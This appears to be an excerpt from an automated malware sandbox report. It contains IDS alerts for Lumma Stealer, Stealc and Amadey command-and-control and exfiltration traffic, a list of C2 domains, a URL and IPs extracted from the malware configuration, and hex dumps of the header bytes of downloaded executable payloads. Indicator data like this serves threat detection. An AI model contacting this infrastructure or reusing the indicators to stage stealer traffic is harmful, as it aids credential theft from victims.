Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:49291 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:64074 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:54065 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:64110 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50015 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50020 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50051 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:65515 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:49842 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50063 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50065 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50098 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49709 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49710 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49708 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49716 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49739 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50002 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50003 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50003 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50010 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50017 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50050 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50060 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49995 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50004 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50004 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50024 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50028 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50024 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50028 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50044 -> 104.21.53.8:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 38

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 16:08:14 GMTContent-Type: application/octet-streamContent-Length: 1870848Last-Modified: Thu, 24 Oct 2024 16:06:11 GMTConnection: keep-aliveETag: "671a7073-1c8c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4a 00 00 04 00 00 31 e6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 51 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 51 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 65 68 6c 69 71 6f 6b 00 80 19 00 00 e0 30 00 00 72 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 71 75 78 63 76 76 67 00 10 00 00 00 60 4a 00 00 04 00 00 00 66 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4a 00 00 22 00 00 00 6a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 16:08:19 GMTContent-Type: application/octet-streamContent-Length: 1821696Last-Modified: Thu, 24 Oct 2024 16:06:04 GMTConnection: keep-aliveETag: "671a706c-1bcc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 d0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 69 00 00 04 00 00 a1 56 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 65 74 7a 74 67 66 7a 00 70 19 00 00 50 4f 00 00 6a 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 72 66 63 73 68 79 61 00 10 00 00 00 c0 68 00 00 04 00 00 00 a6 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 68 00 00 22 00 00 00 aa 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 16:08:22 GMTContent-Type: application/octet-streamContent-Length: 2863616Last-Modified: Thu, 24 Oct 2024 15:30:40 GMTConnection: keep-aliveETag: "671a6820-2bb200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2c 00 00 04 00 00 34 12 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 6e 68 69 61 6a 68 71 00 60 2b 00 00 a0 00 00 00 52 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 77 6d 76 6a 68 65 6e 00 20 00 00 00 00 2c 00 00 04 00 00 00 8c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2c 00 00 22 00 00 00 90 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 16:09:08 GMTContent-Type: application/octet-streamContent-Length: 2949632Last-Modified: Thu, 24 Oct 2024 16:05:58 GMTConnection: keep-aliveETag: "671a7066-2d0200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 80 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 30 00 00 04 00 00 3f 06 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 7a 70 73 65 6b 6b 6f 00 70 2a 00 00 00 06 00 00 6c 2a 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 70 76 79 72 72 6f 6f 00 10 00 00 00 70 30 00 00 04 00 00 00 dc 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 30 00 00 22 00 00 00 e0 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 16:09:18 GMTContent-Type: application/octet-streamContent-Length: 1821696Last-Modified: Thu, 24 Oct 2024 16:06:04 GMTConnection: keep-aliveETag: "671a706c-1bcc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 d0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 69 00 00 04 00 00 a1 56 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 65 74 7a 74 67 66 7a 00 70 19 00 00 50 4f 00 00 6a 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 72 66 63 73 68 79 61 00 10 00 00 00 c0 68 00 00 04 00 00 00 a6 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 68 00 00 22 00 00 00 aa 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 16:09:27 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 24 Oct 2024 15:30:13 GMTConnection: keep-aliveETag: "671a6805-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 fd 67 1a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 74 e9 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 24 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 